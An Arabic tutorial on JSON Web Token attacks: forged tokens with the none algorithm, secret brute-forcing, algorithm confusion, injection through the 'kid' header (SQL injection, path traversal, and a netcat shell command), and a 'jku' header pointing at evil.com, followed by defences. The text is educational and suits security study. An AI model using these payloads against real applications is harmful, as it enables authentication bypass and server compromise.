JSON Web Token (JWT) Attacks

مقدمة

الـ json web token هى تقنية بتستخدم فى عملية المصادقة (Authentication) أو التفويض (Authorization) فى تطبيقات الويب

عملية المصادقة بتتم عن طريق ان التطبيق بيقوم بإنشاء token وبيتم توقيعه ( signing) باستخدام مفتاح سرى لضمان عدم التلاعب فيه وبيتم إرساله للعميل, ومع كل request العميل بيرسله للخادم بيرسل معاه الـ token, تطبيق الويب بيتحقق (verification) من صلاحية الـ token, وبينفذ طلب العميل فى حالة لو كان الـ token صالح

الـ JWT بيتكون من ثلاث أجزاء مفصول بينهم بنقاط (dots)

HEADER.PAYLOAD.SIGNATURE

1- الجزء الأول وهو الـ header: وبيحتوى على البيانات الوصفية الخاصة بالـ token زى النوع (type) والخوارزمية (algorithm) المستخدمه فى عملية التوقيع (signing) وعملية التحقق (verification)

2- الجزء الثانى وهو الـ payload: وبيحتوى على المعلومات اللى تخص المستخدم: زى الـ username والـ role والـ id ...إلخ

3- الجزء الثالث وهو الـ signature:

الـ signature تنقسم الى نوعين على حسب نوع الخوارزمية المستخدمه

النوع الأول: الخوارزميات اللى بتعتمد على الـ symmetric key فى عملية التشفير, الخوارزمية بتستخدم مفتاح سري (secret key) فى عملية التوقيع (signing) وبيتم استخدام نفس المفتاح فى عملية التحقق من التوقيع (signature verification) مثال خوارزمية الـ HMACSHA256

HMACSHA256_sign(
    base64encode(header) + '.' + base64encode(payload), secret
)
HMACSHA256_verify(
    token, secret
)

النوع الثانى وهو الخوارزميات اللى بتعتمد على الـ asymmetric keys, الخوارزمية بتعتمد على مفتاحين الاول بيسمى المفتاح الخاص (private key) وبيتم استخدامه فى عملية التوقيع (singing), اما المفتاح الثانى بيسمى المفتاح العام (public key) بيتم استخدامه فى عملية التحقق من التوقيع (signature verification), مثل خوارزمية الـ RSA

RSA_sign(
    base64encode(header) + '.' + base64encode(payload), private_key
)
RSA_verify(
    token, public_key
)

مثال على الـ JWT :

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.NNK6ljx76o7q1nfEgqky2_1TV0Qk1e3HcmgQ0V5-ziM​

الشرح

1- استخدام الـ None Algorithm

بعض المكتبات (programming libraries) الخاصة بتضمين عملية المصادقة (ِAuthentication) باستخدام الـ JWT فى الكود البرمجى الخاص بك بتسمح بإتمام عملية التحقق (verification) من الـ JWT بدون secret key وفى الحالة دى نوع الخوارزمية المستخدمه بيكون None

احد الهجمات اللى ممكن يتم استخدمها لتزوير الـ JWT هى استبدال الخوارزمية المستخدمه بـ None واهمال الجزء الخاص بالتوقيع (signature) وارسال الـ token, بالتالى عملية التحقق مش هتتم على ال token فتقدر ترسل أى token وهيكون صالح للإستخدام

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJuYW1lIjoiYXVmemF5ZWQiLCJpYXQiOjE2MzI4MzUwMzF9.​

تقدر تستخدم أداة CyberChef لتعديل الـ token

2- تخمين المفتاح السرى (secret key bruteforcing)

نوع آخر من أنواع الهجمات على الـ JWT هو تخمين المفتاح السرى (secret key) الخاص بعملية التوقيع (JWT signing), فى حالة لو مطورين تطبيق الويب (web application) استخدموا مفتاح سرى قابل للتخمين هنقدر إننا نعرف المفتاح وفى الحالة دى نقدر نعدل الـ token ونوقعه بنفس المفتاح

لتنفيذ عملية الـ bruteforcing هنستخدم أداة jwt-crack: والأداة بتعتمد على passwords list فى عملية التخمين

طريقة استخدام الأدة بسيطة, الـ parameter الاول بيكون الـ token أو ملف بيحتوى على الـ token, والـ parameter الثانى هو الـ passwords list file

python3 crackjwt.py <jwt or file name> <passwords list>

3- Algorithm Confusion attack

فى حالة لو كانت الخوارزمية المستخدمه بتعتمد على الـ asymmetric keys مثل الـ RSA عملية التوقيع (signing)بتتم باستخدام الـ private key وعملية التحقق (verification) من الـ token بتتم باستخدام الـ public key اللى بيكون متاح لأى شخص يستخدمه, فى حالة لو غيرنا نوع الخوارزمية اللى فى الـ token من RSA إلى خوارزمية زى الـ HMACSHA256 واللى بتعمد على مفتاح واحد وبيكون سرى, بعض المكتبات مش بتتحقق من ان الخوارزمية اللى فى الـ token هى الخوارزمية المتوقعه والمستخدمه مسبقا فى عملية التوقيع (signing) وبتغير سلوكها من الاعتماد على asymmetric keys algrithms للـ symmetric key algorithm وبالتلى بيتم استخدام الـ public key كـ secret key

خطوات تنفيذ الهجوم:

1- تطبيق الويب بيعتمد على asymmetric key algorithm فى عملية التوقيع والتحقق من الـ token

2- المهاجم بيعمل decoding للـ token وبيغير الـ algorithm لنوع تانى زى HMACSHA256 و بيتلاعب فى الـ payload

3- المهاجم بيعمل sign للـ token باستخدام الـ public key وبيرسله لتطبيق الويب

4- تطبيق الويب مش بيتحقق من من نوع الخوارزمية وبيغير سلوكه وبتتم عملية التحقق باستخدام الـ public key واستخدامه كـ secret key

4- JWT KID attacks

الـ JWT header ممكن تحتوى parameter تانى اسمه الـ Key ID, وبيكون الـ id الخاص بالمفتاح المستخدم فى عملية التحقق, الـ id ممكن يتم استخدمه لطلب المفتاح من أماكن مختلفة زى Database او file system, لو الـ parameter كان vulnerable ممكن ننفذ أنواع مختلفة من الهجمات من خلاله مثل الـ SQL injection, RCE, LFI

1- SQL injection:

الـ attacker ممكن يستخدم sql injection فى انه يخلى web app يطلب أى قيمة من الـ database ويعدل الـ token ويستخدم القيمة الجديدة فى عملية التوقيع

{
"type": "JWT",
"alg": "HS256",
"kid": "anykey' union select aaa from table_name"
}
SELECT key FROM keys WHERE keyid='anykey' UNION SELECT 'aaa'​

2- LFI:

فى حالة لو الـ parameter مصاب بثغرة الـ LFI ممكن الـ attacker يستبدل الـ kid بمسار لملف على النظام تكون محتوياته معروفه مثل (javascript files, css files, images) ويستخدم محتويات الملفات كمفتاح لعملية التوقيع (signing)

{
"type": "JWT",
"alg": "HS256",
"kid": "/../../../../public/file.ext"
}

3- RCE:

فى حالة لو التطبيق مصاب بثغرة command injection ممكن الattacker يقدر يـ inject reverse shell ويخترق الخادم (server) اللى بيستضيف (hosting) تطبيق الويب بشكل كامل

{
"type": "JWT",
"alg": "HS256",
"kid": "anykey | nc -nlvkp 8080 -e /bin/bash"
}

5- JWT JKU attack

بعض التطبيقات بتطلب المفاتيح (Keys) من خوادم خارجية (external servers) فى الحالة دى الخادم اللى موجود عليه تطبيق الويب بيرسل HTTP request لخادم مختلف علشان يطلب ملف الـ keys.json واللى بيحتوى على الـ public key ولاكن فى صورة JSON, وبيعرف بالـ json web key (jwk)

مثال على الـ JWK

تطبيق الويب بيستخدم parameter آخر اسمه JKU وبيكون موجود فى الـ token header والقيمة الخاصة بيه هى الـ URL الخاص بملف الـ JWK.

الـ attacker ممكن يغير الـ URL الى URL على خادم (server) تحت سيطرته, وبالتالى يقدر يغير المفاتيح ويستخدمها فى عملية التوقيع (signing)

1- Normal Token

{
"type": "JWT",
"alg": "RS256",
"jku": "https://example.com/keys.json"
}.
{
"name": "aufzayed",
"is_admin": false
}

2- Malicious Token

{
"type": "JWT",
"alg": "RS256",
"jku": "https://evil.com/keys.json"
}.
{
"name": "aufzayed",
"is_admin": true
}

فى الوضع الطبيعى التطبيق هيستلم الـ token وهيرسل HTTP request لـ https://example.com/keys.json, وهيستخدم الـ key فى عملية التحقق من الـ token

لكن فى الوضع الثانى المهاجم (attacker) قام بتغيير الـ URL بـ URL آخر تحت سيطرته بالتالى المفاتيح المستخدمه هتكون تحت سيطرة المهاجم.

الـ attacker بيقوم بتوقيع (signing) الـ token باستخدام الـ private key الخاص بيه , والتطبيق بيتحقق من التوقيع (signature verification) عن طريق الـ public key الخاص بالـattacker

الحلول

1- استخدام مكتبات (programming libraries) آمنة لا تسمح باستخدام الـ None Algorithm

2- استخدام مفتح سرى يكون قوى بحيث يكون غير قابل للتنبؤ بحيث طوله لايقل عن 64 حرف ويكون خليط من رموز وحروف وارقام عشوائية

3- التحقق من المدخلات (input validation and sanitization) لتجنب أنواع الهجمات المختلفة مثل SSRF, SQLI, RCE, LFI

4- التحقق من صلاحية الـ token بالنسبة للوقت لتجنب أن يكون الـ token صالح مدى الحياة

5- التأكد من عدم وضع أى بيانات حساسة مثل كلمات المرور, لأن الـ token بيكون encoded يعنى اى شخص ممكن يعكس العملية ويقرأ البيانات

المصادر والأدوات

Last updated